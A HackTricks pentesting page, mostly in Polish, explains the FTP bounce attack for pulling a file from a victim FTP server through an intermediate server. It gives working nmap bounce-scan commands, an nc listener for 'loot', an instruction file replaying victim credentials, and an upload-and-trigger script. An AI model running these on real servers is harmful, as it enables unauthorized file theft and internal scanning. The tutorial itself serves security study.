FTP Bounce Download 2 of FTP File
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podsumowanie
Jeśli masz dostęp do bounce FTP server, możesz spowodować, że zażąda on plików z innego serwera FTP (na którym znasz jakieś dane uwierzytelniające) i pobierze ten plik na swój serwer.
Wymagania
- Prawidłowe poświadczenia FTP na pośrednim serwerze FTP
- Prawidłowe poświadczenia FTP na serwerze FTP ofiary
- Oba serwery akceptują polecenie
PORT(bounce FTP attack) - Masz możliwość zapisania do jakiegoś katalogu na pośrednim serwerze FTP
- Serwer pośredni ma większy dostęp w serwerze FTP ofiary niż Ty
Kroki
- Połącz się z własnym serwerem FTP i ustaw połączenie pasywne (
pasvcommand), tak aby nasłuchiwał w katalogu, do którego usługa ofiary wyśle plik. - Przygotuj plik, który pośredni serwer FTP wyśle do serwera ofiary (the exploit script). Plik ten będzie zwykłym tekstem zawierającym potrzebne polecenia do uwierzytelnienia się na serwerze ofiary, zmiany katalogu i pobrania pliku na twój serwer.
- Połącz się z pośrednim serwerem FTP i prześlij wcześniej przygotowany plik.
- Spraw, aby pośredni serwer FTP nawiązał połączenie z serwerem ofiary i wysłał plik exploit.
- Przechwyć plik na własnym serwerze FTP.
- Usuń plik exploit z pośredniego serwera FTP.
Szybka kontrola podatnych bounce hostów
- Nmap nadal obsługuje FTP bounce checks. Przykład weryfikacji potencjalnego serwera pośredniczącego:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
Jeśli serwer odrzuca wartości PORT stron trzecich, skan się nie powiedzie; niektóre wbudowane/przestarzałe drukarki, NAS i urządzenia typu appliance z demonami FTP nadal na to pozwalają.
Automatyzacja drugiego pobrania przez FTP
Poniżej nowocześniejszy sposób pobrania pliku przez podatny pośredni serwer FTP.
- Open a passive listener on your attack box (any TCP sink works):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
Note your IP as
A,B,C,Dand portPasp1,p2(p1 = P/256,p2 = P%256). -
Build the instruction file that the middle server will replay to the victim:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- Upload & trigger from the middle server (classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- Grab the file from your listener (
loot.bin). - Clean up the uploaded
instrsfile on the middle server.
Notatki:
- Wypełnienie (
dd ...) zapobiega zamknięciu połączenia kontrolnego zanim RETR się zakończy (problem z dużym oknem TCP omawiany w klasycznych opisach). - Każda usługa, która potrafi listen and dump TCP, może zastąpić gniazdo FTP PASV (np.
socat -u TCP-LISTEN:2121,fork - > loot.bin). - Jeśli serwer pośredni ogranicza uprzywilejowane porty, użyj wysokiego portu w
PORTi dostosuj swój listener odpowiednio.
Dodatkowe sztuczki
- Użyj bounceable FTP server, aby port-scan internal hosts gdy relay plików jest zablokowany:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- Niektóre nowoczesne WAF/IDS (np. Juniper IPS) zawierają sygnatury specjalnie dla FTP:EXPLOIT:BOUNCE-ATTACK; hałaśliwe payloady lub brak paddingu mogą je wywołać.
- Gdy serwer pośredni wymusza ograniczenia “PORT to same host”, umieść swojego listener na samym serwerze pośrednim (jeśli masz prawa do zapisu/wykonywania) i przekaż potem przechwycony plik.
Po bardziej szczegółowy, staroszkolny przewodnik sprawdź: http://www.ouah.org/ftpbounce.html
References
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


